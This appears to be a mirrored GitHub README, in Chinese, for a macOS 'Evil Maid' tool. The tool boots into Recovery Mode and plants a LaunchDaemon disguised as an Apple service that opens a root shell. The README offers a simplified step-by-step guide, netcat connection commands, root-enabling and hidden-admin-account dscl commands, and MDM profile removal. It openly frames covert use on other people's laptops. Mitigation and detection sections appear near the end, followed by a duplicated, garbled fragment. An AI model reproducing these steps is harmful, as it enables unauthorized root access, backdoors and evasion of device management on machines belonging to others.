0xwi11iam/macos-evilmaid
GitHub: 0xwi11iam/macos-evilmaid
利用 macOS 恢复模式绕过 MDM 限制与用户认证,通过植入 LaunchDaemon 实现 root 权限提升的物理安全研究工具。
Stars: 0 | Forks: 0
## 如果 MDM 导致您仅拥有 Mac 的标准权限,那么您来对地方了。干得漂亮!
🟢 [**→ 点击这里!←**](#the-simple-version-tldr)
# Evil Maid — 通过恢复模式进行 macOS 权限提升
这是我通过 macOS 红队研究制作的一个工具,我觉得有必要把它记录下来,因为我也曾经历过被自己的 Mac MDM 锁住的挑战。(**我当时真希望有这玩意儿 😂**) 这在 macOS Sequoia 上有效,并在 Tahoe 上尚未测试(很可能会生效)。
## 获取 Root 的两条路径
这种技术处于一个有趣的交汇点——它可以用于**合法的解锁**,也可以用于**恶意的入侵**,这完全取决于谁在敲击键盘。
### 路径 1 — 被锁定的所有者
您**拥有**这台 Mac。您花钱买了它。但您却被卡在**标准用户**身份,因为:
- 您的雇主或学校将其注册到了 **MDM**(Jamf、Kandji、Intune 等),并通过描述文件锁定了管理员权限。
- 一位 IT 管理员离职了,而没人知道管理员密码。
- 您买了一台二手 Mac,但它仍然受限于上一个组织的 MDM。
- 家人给您设置了账户,却没有授予管理员权限,并且忘记了凭据。
您拥有**物理占有权**和**合法所有权**,但 macOS 却把您当作自己硬件上的客人。恢复模式并不在乎 MDM 强制实施的用户限制——它在 OS 级别的策略层之下运行。这项技术让您可以**在您合法拥有的硬件上重新获得管理员权限**。
[**→ 点击这里!←**](#the-simple-version-tldr)
### 路径 2 — Evil Maid
攻击者获得了他们**不拥有**的 Mac 的**临时物理访问权限**:
- 遗忘在咖啡店、酒店房间(经典的“Evil Maid”场景)或办公室的笔记本电脑。
- 在机场托运的设备。
- 共享办公空间或托管设施中的目标机器。
攻击者重启进入恢复模式,从 USB 驱动器运行脚本,然后离开。几分钟后,他们就有了一个回连的 root shell。不需要管理员密码。不需要用户交互。没有认证痕迹。
### 快速对比
| | 路径 1 — 所有者 | 路径 2 — 攻击者 |
|---|---|---|
| **所有权** | 合法 | 无 |
| **目标** | 在自己的设备上恢复管理员权限 | 未经授权的 root 访问权限 |
| **MDM 背景** | MDM 是*障碍* | MDM 是*防御者* |
| **物理访问** | 始终拥有 | 临时 / 隐蔽 |
| **法律地位** | 您的硬件,您做主 | 非法(CFAA 等) |
| **道德立场** | 自力救济 / 维修权 | 恶意入侵 |
## 简单版本 (TL;DR)
这是精简的、对脚本小子友好的版本。没有理论,没有废话——直接拿 root。
**你需要:** 你的 Mac、一个 USB 驱动器,以及连接到同一个 Wi-Fi 的任何其他电脑/手机。
### 1. 将 `build.sh` 放到 USB 驱动器上
下载此仓库,将 `build.sh` 复制到 U 盘里。就这样。
### 2. 启动进入恢复模式
- **Intel Mac:** 重启时按住 `⌘ + R`。
- **Apple Silicon Mac:** 按住电源键,然后选择 选项 → 继续。
### 3. 打开终端并运行脚本
在恢复模式下:选择 **实用工具 → 终端**,然后输入:
```
# 找到你的 USB(它会在 /Volumes/ 下)
ls /Volumes/
# 运行脚本(将 USBDRIVE 替换为你的 USB 名称)
sh /Volumes/USBDRIVE/build.sh
```
它会打印出一个 IP 地址和端口。把它们记下来。
### 4. 正常重启
苹果菜单 → 重新启动。让它启动回您正常的桌面。
### 5. 连接到您的 root shell
重新登录并打开终端。运行此命令以连接到您创建的 shell。
```
nc 127.0.0.1 5500
```
砰。您现在是 root 了。您会看到一个 `#` 提示符。
### 6. 设置 root 密码
在那个 root shell 中,运行:
```
dscl . -passwd /Users/root
```
输入新密码(两次)。您看不到输入的字符——这是正常的。
### 7. 搞定。以 root 身份登录。
重启您的 Mac。在登录界面,选择**其他…** 并使用以下信息登录:
- 用户名:`root`
- 密码:您刚刚设置的密码
您现在拥有完整的管理员权限了。MDM 再也拦不住您了。
## 概述
**标准(非管理员)用户**通过这种方式利用它来获取 root 访问权限。
1. 启动进入 **macOS 恢复模式**(无需认证——不需要用户名或密码)。
2. 挂载系统卷并投放一个以 `root` 身份运行的恶意 **LaunchDaemon**。
3. 正常重启——守护进程会生成一个监听可配置端口的 **reverse shell**。
4. 从 root shell 中,**激活 root 用户**(`dsenableroot`),完成权限提升。
此攻击**确实**需要禁用 FileVault。值得庆幸的是,对于该软件的**合法**用户来说,FileVault 默认是禁用的。
## 攻击链
```
flowchart LR
A[Physical Access] --> B[Reboot → Recovery Mode
⌘+R / Power hold] B --> C[Mount system volume
via Disk Utility / Terminal] C --> D[Run build.sh
from USB / network share] D --> E[LaunchDaemon installed
on system volume] E --> F[Normal reboot] F --> G[LaunchDaemon starts
reverse shell on port 5500] G --> H[Connect via netcat
→ root shell] H --> I[dsenableroot
→ root account activated] ``` ## 文件 | 文件 | 用途 | |------|---------| | `build.sh` | 安装脚本,从恢复模式的终端运行。它将 payload 和 LaunchDaemon 放置在目标系统卷上。 | ## 使用说明 ### 前置条件 - 目标 Mac 的物理访问权限。 - 一个包含此仓库的 USB 驱动器(或可从恢复模式访问的网络共享)。 - 同一网络上的第二台机器,用于接收 reverse shell。 ### 步骤 1 — 启动进入恢复模式 - **Intel Mac:** 启动期间按住 `Command (⌘) + R`。 - **Apple Silicon Mac:** 按住电源按钮直到出现“正在加载启动选项”,然后选择**选项** → **继续**。 ### 步骤 2 — 挂载系统卷 恢复模式可能会自动将内部驱动器挂载到 `/Volumes/` 下。如果没有,请打开**磁盘工具**,选择内部的“Macintosh HD”(或同等名称),然后点击**挂载**。 确认系统卷是否可访问: ``` ls /Volumes/*/System/Library/CoreServices ``` ### 步骤 3 — 运行安装程序 从**恢复模式终端**(实用工具 → 终端)中,运行: ``` # 示例:脚本位于名为 "USBDRIVE" 的 USB 驱动器上 sh /Volumes/USBDRIVE/build.sh ``` 该脚本将: 1. 自动定位系统卷。 2. 在 `/private/var/tmp/.systemupdate/` 创建一个隐藏的 payload 目录。 3. 写入 reverse shell 代理(`networkd`)和一个伪装成合法 Apple 服务的 LaunchDaemon plist(`com.apple.networkd.plist`)。 4. 将 C2(命令与控制)端口设置为 **5500**。 ### 步骤 4 — 重启并捕获 shell 正常重启 Mac。系统到达登录窗口(或桌面)后,LaunchDaemon 将启动并开始监听。 从您的第二台机器进行连接: ``` nc 5500
```
您将进入一个 **root shell**(`/bin/bash -i`),因为 LaunchDaemon 指定了 `UserName: root`。
### 步骤 5 — 持久化 root 访问权限
```
# 使用你控制的密码启用 root 用户
dsenableroot
# 或者如果已启用,则更改 root 密码
passwd root
```
您还可以创建一个隐藏的管理员账户:
```
dscl . -create /Users/.hiddenadmin
dscl . -create /Users/.hiddenadmin UserShell /bin/bash
dscl . -create /Users/.hiddenadmin UniqueID 401
dscl . -create /Users/.hiddenadmin PrimaryGroupID 20
dscl . -create /Users/.hiddenadmin NFSHomeDirectory /var/.hiddenadmin
dscl . -passwd /Users/.hiddenadmin
dscl . -append /Groups/admin GroupMembership .hiddenadmin
```
### 步骤 6(路径 1 — 所有者)— 清理 MDM
如果您正在夺回自己被 MDM 锁定的设备,一旦获得 root 权限,您就可以移除 MDM 注册描述文件:
```
# 列出 MDM profiles
profiles -L
# 移除 MDM enrollment profile(使用 profiles -L 中的 identifier)
profiles -R -p
# 或者,移除所有 configuration profiles
profiles -D -f -v
```
## 为什么这行得通
macOS 上的恢复模式以**实际上无限的权限**运行——它可以挂载和修改磁盘上的任何 APFS 卷。这里没有用户身份验证关口,因为 Apple 对恢复模式的威胁模型假设操作者就是设备所有者。
这是设计使然:如果您忘记了密码,恢复模式就是 Apple 预期您重置密码的方式。允许您运行 `resetpassword` 的那种能力,同样也允许您运行 `build.sh`。
实现这一点的关键设计选择:
- **恢复模式下没有 SIP。** 系统完整性保护在恢复模式下默认是关闭的,允许无限制的写入。
- **没有用户认证。** 恢复模式不会要求输入用户名/密码——只需要固件密码(如果已配置)或 Apple ID(在具有激活锁的 Apple Silicon 上)。
- **LaunchDaemons 以 root 身份运行。** 放置在 `/Library/LaunchDaemons/` 中并带有 `UserName: root` 的 plist 会在引导时、任何用户登录之前(以及在执行任何 MDM 策略之前)以完全权限执行。
- **MDM 是操作系统级别的构造。** 恢复模式运行在已安装的 OS *之下*。MDM 描述文件、配置策略和用户限制在该环境中根本不存在。
## 缓解措施
防御者可以通过以下措施来加固以抵御此攻击:
| 缓解措施 | 有效性 | 备注 |
|------------|---------------|-------|
| **固件密码** (Intel) / **安全启动 → 完全安全性** (Apple Silicon) | 高 | 防止在未经身份验证的情况下启动进入恢复模式。这是最有效的控制措施。 |
| **FileVault(全盘加密)** | 中 | 攻击者无法读取用户数据,但如果 OS 卷未加密(标准 APFS 布局),仍然可以对其进行修改。如果与固件密码结合使用,防御能力会强得多。 |
| **MDM / 终端监控** | 中 | 可以对新的 LaunchDaemon、意外的监听端口或 `dsenableroot` 的使用发出警报——但这只能在事件发生*之后*进行。MDM 无法阻止最初的入侵,因为恢复模式完全绕过了它。 |
| **物理安全** | 高 | 锁定设备。不要让它无人看管。只要她碰不到硬件,邪恶女佣就无法下手。 |
## 检测
蓝队可以关注:
- `/Library/LaunchDaemons/` 中意外的 plist 文件——尤其是模仿 Apple 命名规则的文件(`com.apple.*`)。
- 意外的监听端口(`lsof -i :5500`、`netstat -an | grep 5500`)。
- `/private/var/tmp/` 下的隐藏目录(例如 `.systemupdate`)。
- 统一日志中的 `dsenableroot` 或 `dscl` 调用(`log show --predicate 'process == "dsenableroot"'`)。
- 在没有通过 MDM 控制台进行管理操作的情况下,MDM 注册描述文件突然消失。
## 重要注意事项
在**制造过程中或安装 macOS 时**,系统卷会使用加密封条进行签名。如果 Mac 具有 T2 芯片或 Apple Silicon,并且启用了 `csrutil` 的 authenticated-root 设置,修改系统卷将**破坏封条**,并可能触发警告,或者根据安全启动策略阻止启动。此脚本针对的是**数据卷**组件(位于可写数据卷上的 `/private/var/tmp/` 和 `/Library/LaunchDaemons/`),因此不会影响该封条。
## 常见问题
### 这在 Apple Silicon 上有效吗?
是的。过程完全相同——按住电源按钮进入启动选项,选择“选项”,然后继续。唯一的区别是 Apple Silicon Mac 可能启用了激活锁(绑定到 Apple ID),这增加了一个额外的认证关口。
### MDM 会检测到这个吗?
在攻击期间不会。MDM 仅在 macOS 运行时起作用。恢复模式是一个单独的引导环境。一旦 macOS 带着活动的后门启动,MDM *可能*会检测到异常的 LaunchDaemon 或监听端口——但到那时您已经拥有 root 权限了。
### FileVault 能阻止这个吗?
部分能。FileVault 会加密用户数据,但在标准的 APFS 安装中,OS 卷本身并未加密。LaunchDaemon 目录(`/Library/LaunchDaemons/`)位于数据卷上,该卷*确实*由 FileVault 加密。然而,在恢复模式中,如果使用已知密码解锁了该卷(或者如果该卷被挂载),修改是可能的。
### 这是一个漏洞吗?
不,这不算是一个值得分配 CVE 编号的漏洞。这是 Apple 恢复架构众所周知的一个后果:物理访问权限 + 没有固件密码 = 游戏结束。Apple 的文档明确建议在敏感环境中设置固件密码。此仓库只是将该设计的利用过程自动化了。
## 免责声明
该工具仅用于**授权的安全研究、红队评估和合法的设备恢复**。作者对任何误用不承担任何责任。如果您不拥有该硬件或缺乏明确的书面许可——请不要运行此程序。
## 许可证
MIT — 做您想做的,但请勿作恶。
⌘+R / Power hold] B --> C[Mount system volume
via Disk Utility / Terminal] C --> D[Run build.sh
from USB / network share] D --> E[LaunchDaemon installed
on system volume] E --> F[Normal reboot] F --> G[LaunchDaemon starts
reverse shell on port 5500] G --> H[Connect via netcat
→ root shell] H --> I[dsenableroot
→ root account activated] ``` ## 文件 | 文件 | 用途 | |------|---------| | `build.sh` | 安装脚本,从恢复模式的终端运行。它将 payload 和 LaunchDaemon 放置在目标系统卷上。 | ## 使用说明 ### 前置条件 - 目标 Mac 的物理访问权限。 - 一个包含此仓库的 USB 驱动器(或可从恢复模式访问的网络共享)。 - 同一网络上的第二台机器,用于接收 reverse shell。 ### 步骤 1 — 启动进入恢复模式 - **Intel Mac:** 启动期间按住 `Command (⌘) + R`。 - **Apple Silicon Mac:** 按住电源按钮直到出现“正在加载启动选项”,然后选择**选项** → **继续**。 ### 步骤 2 — 挂载系统卷 恢复模式可能会自动将内部驱动器挂载到 `/Volumes/` 下。如果没有,请打开**磁盘工具**,选择内部的“Macintosh HD”(或同等名称),然后点击**挂载**。 确认系统卷是否可访问: ``` ls /Volumes/*/System/Library/CoreServices ``` ### 步骤 3 — 运行安装程序 从**恢复模式终端**(实用工具 → 终端)中,运行: ``` # 示例:脚本位于名为 "USBDRIVE" 的 USB 驱动器上 sh /Volumes/USBDRIVE/build.sh ``` 该脚本将: 1. 自动定位系统卷。 2. 在 `/private/var/tmp/.systemupdate/` 创建一个隐藏的 payload 目录。 3. 写入 reverse shell 代理(`networkd`)和一个伪装成合法 Apple 服务的 LaunchDaemon plist(`com.apple.networkd.plist`)。 4. 将 C2(命令与控制)端口设置为 **5500**。 ### 步骤 4 — 重启并捕获 shell 正常重启 Mac。系统到达登录窗口(或桌面)后,LaunchDaemon 将启动并开始监听。 从您的第二台机器进行连接: ``` nc
标签:Cutter, MDM解锁, Web报告查看器, 物理安全, 系统运维